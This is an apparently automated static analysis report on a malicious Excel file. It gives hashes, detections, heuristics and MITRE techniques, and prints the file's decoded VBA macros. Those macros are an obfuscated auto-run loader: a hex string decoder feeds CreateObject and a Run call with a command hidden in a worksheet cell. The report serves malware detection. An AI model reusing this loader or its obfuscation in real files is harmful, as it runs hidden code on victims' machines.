Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4affef56c358d063…

MALICIOUS

Office (OLE)

150.5 KB Created: 2018-05-29 10:42:15 Authoring application: Microsoft Excel First seen: 2018-11-20
MD5: 8ef62c0737f219e3e57a9f1ed1adcfb9 SHA-1: 06bf162537b6fd44819f5ab257f660dec358483d SHA-256: 4affef56c358d063bee40a7a80baf8f69907a2cee24f139e8442062da1b0af5c
362 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This Excel file contains heavily obfuscated VBA and XLM macros, including auto-executing Workbook_Open and Document_Open routines. The critical heuristic 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' indicates a loader designed to execute code, likely by decoding a payload. The presence of both VBA and XLM macros suggests a multi-stage approach to achieve execution, common in malware delivery.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700357-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700357-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 229 bytes
SHA-256: b07e9b3c0bc67a5abf1f3d5a279d12af20bcec7c89268c78faaa2dc946b3582d
Preview script
First 1,000 lines of the extracted script
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MPro
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6765 bytes
SHA-256: 35ce42492b75591d407b862ee626e89f252c0df72ef6fff5f5045ae58b8c8acf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Private Function ac5X8X() As String
Dim aac5X8X As String
aac5X8X = "70757070A287703A70704470703170958C689E70705B708663575F70705833709D534DB06AA06270AF9864704985747C6A70408E744B7071707C58375F397042704D707052706DAB5C12ADAD3E70A17085A5"
Dim myac5X8X = aac5X8X
End Function

Sub Workbook_Open()
    Application.Run "ThisWorkbook." & C_HIW("9595AA94909892A3939A908C")
End Sub
Private Function ac55FM() As String
Dim aac55FM As String
aac55FM = "70757070A287703A70704470703170958C689E70705B708663575F70705833709D534DB06AA06270AF9864704985747C6A70408E744B7071707C58375F397042704D707052706DAB5C12ADAD3E70A17085A5"
Dim myac55FM = aac55FM
End Function

Sub JJ_IEMGXHOEA()
    WX_UWK
End Sub
Public Function C_HIW(ByVal IFJ_A As String)
   Dim GHU_LZ As String
   Dim FSQ_LEI As Long
   For FSQ_LEI = 1 To Len(IFJ_A) Step 2
        GHU_LZ = GHU_LZ & Chr(CLng(Chr(38) & Chr(72) & Mid(IFJ_A, FSQ_LEI, 2)) - 75)
   Next
   C_HIW = GHU_LZ
End Function
Private Function acO48K() As String
Dim aacO48K As String
aacO48K = "70757070A287703A70704470703170958C689E70705B708663575F70705833709D534DB06AA06270AF9864704985747C6A70408E744B7071707C58375F397042704D707052706DAB5C12ADAD3E70A17085A5"
Dim myacO48K = aacO48K
End Function

Public Sub Document_Open()
    Application.Run C_HIW("9595AA94909892A3939A908C")
End Sub
Private Function acQ2XU() As String
Dim aacQ2XU As String
aacQ2XU = "70757070A287703A70704470703170958C689E70705B708663575F70705833709D534DB06AA06270AF9864704985747C6A70408E744B7071707C58375F397042704D707052706DAB5C12ADAD3E70A17085A5"
Dim myacQ2XU = aacQ2XU
End Function

Public Sub WX_UWK()
    Dim IFJ_A As Object: Set IFJ_A = VBA.CreateObject(C_HIW("A29EAEBDB4BBBF799EB3B0B7B7"))
    CallByName IFJ_A, "Run", VbMethod, C_HIW(ThisWorkbook.Sheets("MProp").Range("J225").Value), 0, True
End Sub
Private Function acUUKP() As String
Dim aacUUKP As String
aacUUKP = "70757070A287703A70704470703170958C689E70705B708663575F70705833709D534DB06AA06270AF9864704985747C6A70408E744B7071707C58375F397042704D707052706DAB5C12ADAD3E70A17085A5"
Dim myacUUKP = aacUUKP
End Function


' Processing file: /opt/analyzer/scan_staging/e2c0f1e1d92542bf81401bf2b5d6c020.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 8021 bytes
' Line #0:
' 	Option  (Explicit)
' Line #1:
' 	FuncDefn (Private Function Application(id_FFFE As String) As String)
' Line #2:
' 	Dim 
' 	VarDefn Run (As String)
' Line #3:
' 	LitStr 0x00A4 "70757070A287703A70704470703170958C689E70705B708663575F70705833709D534DB06AA06270AF9864704985747C6A70408E744B7071707C58375F397042704D707052706DAB5C12ADAD3E70A17085A5"
' 	St Run 
' Line #4:
' 	Reparse 0x0016 "Dim myac5X8X = aac5X8X"
' Line #5:
' 	EndFunc 
' Line #6:
' Line #7:
' 	FuncDefn (Sub ac55FM())
' Line #8:
' 	LitStr 0x000D "ThisWorkbook."
' 	LitStr 0x0018 "9595AA94909892A3939A908C"
' 	ArgsLd JJ_IEMGXHOEA 0x0001 
' 	Concat 
' 	Ld aac55FM 
' 	ArgsMemCall myac55FM 0x0001 
' Line #9:
' 	EndSub 
' Line #10:
' 	FuncDefn (Private Function WX_UWK(id_FFFE As String) As String)
' Line #11:
' 	Dim 
' 	VarDefn IFJ_A (As String)
' Line #12:
' 	LitStr 0x00A4 "70757070A287703A70704470703170958C689E70705B708663575F70705833709D534DB06AA06270AF9864704985747C6A70408E744B7071707C58375F397042704D707052706DAB5C12ADAD3E70A17085A5"
' 	St IFJ_A 
' Line #13:
' 	Reparse 0x0016 "Dim myac55FM = aac55FM"
' Line #14:
' 	EndFunc 
' Line #15:
' Line #16:
' 	FuncDefn (Sub FSQ_LEI())
' Line #17:
' 	ArgsCall Chr 0x0000 
' Line #18:
' 	EndSub 
' Line #19:
' 	FuncDefn (Public Function JJ_IEMGXHOEA(ByVal acO48K As String, id_FFFE As Variant))
' Line #20:
' 	Dim 
' 	VarDefn aacO48K (As String)
' Line #21:
' 	Dim 
' 	VarDefn myacO48K (As Long)
' Li
... (truncated)

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